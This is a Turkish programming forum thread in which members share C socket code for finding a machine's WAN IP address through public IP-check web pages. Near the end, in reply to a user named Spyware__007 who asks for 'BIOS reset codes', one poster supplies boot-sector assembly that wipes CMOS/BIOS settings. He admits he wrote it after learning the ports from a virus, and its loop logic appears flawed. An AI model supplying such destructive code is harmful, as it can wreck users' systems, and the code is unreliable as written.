İp Bulma ?

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    monoton
    monoton's avatar
    Kayıt Tarihi: 21/Haziran/2008
    Erkek

    socket programlamada hiç bilgim yok c yada c++ da kendi wan ipimi nasıl bulabilirim bayağı araştırdım bulamadım.

  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tugberk
    Tugberk's avatar
    Kayıt Tarihi: 04/Ekim/2009
    Erkek

    Öncelikle şunu belirteyim, wan ip senin değil modemin ip si. yani senin yerel ip adresin 192.168.1.2 ise modem de muhtemelen 192.168.1.1 ise bu durumda sen kendi ip adresin olarak herzaman 192.168.1.2 yi görürsün. Modemin dışa açılan ip si olan wan ip adresini ise ya modemden ya da bağlandığın sunucu bilgisayardan öğrenirsin. Yani C de soket programlama ile yapacak pek birşey yok gibi.  Modemden kodla ip sini öğrenmen biraz zor, yani öğrenebilirmisin onu da bilmiyorum, ama senin ip adresini gösteren bir sunucudan öğrenebilirsin.

    Ben bu aşırı kötü yöntemle bir program yazdım ama kesinlikle güvenilir değil, yani uzun süre işini göreceğini sanmam, tamamen tanımadığın adamların sunucusuna bağlı bir yöntem, ama sen kendi beleş hostun ile de ip ni öğrenebilirsin tabi.

    //////////////////////////////////////////////////////

    #include <stdio.h>


    #include <windows.h>

       SOCKET        skt;
       WSADATA       wsdata;
       char          IP[100]="checkip.dyndns.org";
       char          tmp[256]={0};
       char          *ipadres;
       unsigned int  port=80;
       struct hostent      *sunucu_adi;
       struct sockaddr_in   bilgiler;
      
      
    int main(){
     
        WSAStartup(MAKEWORD(2,0),&wsdata);         
                                                        
        sunucu_adi = gethostbyname(IP);
       
         bilgiler.sin_family = AF_INET;
         bilgiler.sin_port = htons(port);
         bilgiler.sin_addr = *((struct in_addr *)sunucu_adi->h_addr);
        memset(&(bilgiler.sin_zero), 0,0) ;
       
    //------------------------------------------   
    if((skt=socket(AF_INET, SOCK_STREAM,0))==-1){
        perror("Soket Acilamadi!\n");
    }

    //------------------------------------------     
    for(;connect(skt, (struct sockaddr *)&bilgiler,sizeof(struct sockaddr))==-1;){
        perror("Baglanti hatasi!\n");
        Sleep(1000);                    //Bağlantı başarısız olursa her saniye tekrar denenecek
    }
    //------------------------------------------ 

        if(send(skt,"\n",strlen("\n"),0)==-1)
            perror("Veri Gonderilemedi !\n");
           
            if(recv(skt,tmp,sizeof(tmp),0)<=0)
                perror("Veri Alinamadi !\n");
               
    {
    int  i;
    ipadres=strstr(tmp,"Current IP Address: ")+strlen("Current IP Address: ");
    for(i=0;;i++) if(ipadres[i]=='<') { ipadres[i]=0; break ; }
    }

    printf("Wan ip adresin : %s",ipadres);
    getchar();

    WSACleanup();          // dosyaları kapa      
    return 0;
    }


    //////////////////////////////////////////////////////

     

     

    Bu kodu asdf.c diye kaydet . Derlemek için, dev c++ da sadece "araçlar/derleyici ayarları/derleyiciyi çağırırken komut satırına şunları ekle/" bölümüne -lwsock32 yaz.

    Visual c++ da önce kodu derle, hata verir ama sonuçta bir proje oluşturur. sonra project/settings/link/object library modules/ bölümünde bir boşluk bırak ve şunu yaz. wsock32.lib

    bundan sonra çalışması lazım..

     

  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    monoton
    monoton's avatar
    Kayıt Tarihi: 21/Haziran/2008
    Erkek

    çok sağol verdiğin kod c++ builder da hatasız çalıştı aradığım bu ama neden sürekli işimi görmüyor onuda açıklarmısın

  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tugberk
    Tugberk's avatar
    Kayıt Tarihi: 04/Ekim/2009
    Erkek

    monoton bunu yazdı:
    -----------------------------

    çok sağol verdiğin kod c++ builder da hatasız çalıştı aradığım bu ama neden sürekli işimi görmüyor onuda açıklarmısın


    -----------------------------

    Dikkat ettiysen checkip.dyndns.org adresinden öğreniyoruz ip yi. dyndns basit bir sunucu değildir ama sayfayı kaldıracağı tutarsa program da bir işe yaramaz :).

    Daha güvenli bir yolla yapılabilir belki ama aklıma birşey gelmiyor.

    Edit: somee.com gibi biryerden kendi beleş hostunu alırsan daha güvenli olur.

  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    monoton
    monoton's avatar
    Kayıt Tarihi: 21/Haziran/2008
    Erkek

    anladım peki whatismyip.com dan alsak ?

  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tugberk
    Tugberk's avatar
    Kayıt Tarihi: 04/Ekim/2009
    Erkek

    monoton bunu yazdı:
    -----------------------------

    anladım peki whatismyip.com dan alsak ?


    -----------------------------

    Ben web server lardan pek anlamam, yani http server firefox da ip adresini gösteriyorsa, o adresi sende alabilirsin bu bir gerçek. Ancak webci arkadaşlar daha iyi bilir belki de web servere basit bir komut vererek, google.com dan bile kendi ip mizi talep edebiliriz. Dediğim gibi bu işin web server bölümü.

    Benim bildiğim tek şey, http server larının GET komutunu gönderdiğimizde sayfanın html kodlarını gönderdiği. Bunu da eskiden biryede okumuştur. Şimdi, cmd yi aç.

    telnet www.google.com 80

    yaz. daha sonra GET yaz enterle google sana html kodlarını göndermesi laızm. Yada GET /HTTP/1.1 , şimdi bu gerçekten yola çıkarak yazdım programı, checkip.dyndns.org adresine girersen kendi ip ni yazıyor, telnetten bağlanıp herhangi bişey yazıp entere basarsan da tüm html kodlarını yolluyor. Bende bu html kodları arasında kendi ip adresimi ayırıyorum ve ekrana yazıyorum. Gördüğün gibi çok kötü bir yöntem olmakla birlikte web serverlar konusundaki sığ bilgim dolayısıyla yapabildiğim bu :)

     

  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    monoton
    monoton's avatar
    Kayıt Tarihi: 21/Haziran/2008
    Erkek

    ilgin için saol kardeşim şimdilik işimi görecektir sanıyorum sorun çıkarsa daha iyi bi yöntem ararım artık eyvallah.

  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tugberk
    Tugberk's avatar
    Kayıt Tarihi: 04/Ekim/2009
    Erkek

    monoton bunu yazdı:
    -----------------------------

    ilgin için saol kardeşim şimdilik işimi görecektir sanıyorum sorun çıkarsa daha iyi bi yöntem ararım artık eyvallah.


    -----------------------------

    Sende sağol, umarım sorun çıkmaz, kolay gelsin.

  9. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Spyware__007
    Spyware__007's avatar
    Kayıt Tarihi: 04/Ocak/2006
    Erkek

    güzel çalışma tugberk

    varsa yada biliyorsan bios resetleme kodlarınıda pm ile sıpıtırmısın :)

  10. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tugberk
    Tugberk's avatar
    Kayıt Tarihi: 04/Ekim/2009
    Erkek

    Spyware__007 bunu yazdı:
    -----------------------------

    güzel çalışma tugberk

    varsa yada biliyorsan bios resetleme kodlarınıda pm ile sıpıtırmısın :)


    -----------------------------

    Öncelikle amacın zararlı yazılım üretmekse söyleyim bu işi korumalı modda yapamazsın. aslında yapabilirsin ancak windows ddk ile kernel mod programlama yapman lazım. Türkiye de ddk ile programlama yapan pek kimse yok.

    Eğer boot program yapmak istiyorsan, 70h ve 71h portları ile cmos u temizleyebilirisin. Öncelikle parolayı kaldırmak için

    ;===============

    mov  al,0x2e
    out  0x70,al

    mov  al,0xff
    out  0x71,al

    ;daha sonra sıfırlama işlemi için,

    mov dl,0

    tekrar:

    cmp dl,255
    jmp son

    mov al,dl
    out 0x70, al
    out 0x71 ,al

    inc dl
    jmp tekrar

    son:
    mov al,255
    out 0x70, al
    out 0x71, al

    times 510-($-$$) db 0 ; nasm için sadece.
    dw 0xAA55

    ;===============

    Derlemek için fasm yada nasm ı kullanabilirsin. mesela asd.asm olarak kaydet. nasm asd.asm olarak derle. daha sonra nero ile başlangıç Cd si oluştur ve virtual pc de yada kendi pc nde dene. Bu arada sadece hangi portların kullanıldığını bir virüs aracılığı ile biliyordum ve bu kodları şimdi yazdım, yani denemedim eğer sorun olursa yazabilirisin yine.

    Bu arada tahribat.com da da ip mizi gösteriyormuş yeni farkettim. Tahribat varken başka site kullanıyoruz :) deminki programı tahribat için yeniden yazdım. Bu program tahribatın anasayfasının tüm html kodlarını indiriyor ve IP: satırını bulduğu anda orda yazan ip yi kullanıcıya gösteriyor. Ancak diğerinden biraz daha yavaş olduğunu farkettim istediğini kullan.

    ////////////////////////////////////////////////////////////

    #include <stdio.h>
    #include <windows.h>

       SOCKET        skt;
       WSADATA       wsdata;
       char          IP[100]="www.tahribat.com";
       char          tmp[1024]="GET /index.asp HTTP/1.1\r\n host: www.tahribat.com\r\n\r\n";
       char          *ipadres;
       unsigned int  port=80;
       struct hostent      *sunucu_adi;
       struct sockaddr_in   bilgiler;
     
     
    int main(){
     
        WSAStartup(MAKEWORD(2,0),&wsdata);        
                                                       
        sunucu_adi = gethostbyname(IP);
      
         bilgiler.sin_family = AF_INET;
         bilgiler.sin_port = htons(port);
         bilgiler.sin_addr = *((struct in_addr *)sunucu_adi->h_addr);
        memset(&(bilgiler.sin_zero), 0,0) ;
      
    //------------------------------------------  
    if((skt=socket(AF_INET, SOCK_STREAM,0))==-1){
        perror("Soket Acilamadi!\n");
    }

    //------------------------------------------    
    for(;connect(skt, (struct sockaddr *)&bilgiler,sizeof(struct sockaddr))==-1;){
        perror("Baglanti hatasi!\n");
        Sleep(1000);                    //Bağlantı başarısız olursa her saniye tekrar denenecek
    }
    //------------------------------------------

        if(send(skt,tmp,strlen(tmp),0)==-1)
            perror("Veri Gonderilemedi !\n");
           
    for(;;){
        int i;
       
            if(recv(skt,tmp,sizeof(tmp),0)<=0){
                break;
            }               
                ipadres=strstr(tmp,"IP:");
                   
                    if(ipadres!=NULL){
                        ipadres=ipadres + strlen("IP:");
                        for(i=0;;i++) if(ipadres[i]=='<') { ipadres[i]=0; break ; }
                        printf("Wan IP Adresin : %s",ipadres);
                        break;
                    }
                for(i=0;i}

    getchar();

    WSACleanup();          // dosyaları kapa     
    return 0;
    }

     

    ///////////////////////////////////////////////////////////

     

  11. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tugberk
    Tugberk's avatar
    Kayıt Tarihi: 04/Ekim/2009
    Erkek

    Arkadaşlar yukardaki asm kodunu az önce M$ virtual pc de denedim, bios u sıfırlar derken tamamen uçurdu, kesinlikle kimse gerçek bilgisayarında denemesin, sorumluluk deneyene aittir. Zaten normalde çalışmaz, boot cd yapıp reset atmanız lazım. Herneyse uyarmış olayım.

    Edit: Sıfırlamış, sistem saati ve boot aygıtını değiştirerek denedim, sıfırlıyor.

Toplam Hit: 3161 Toplam Mesaj: 11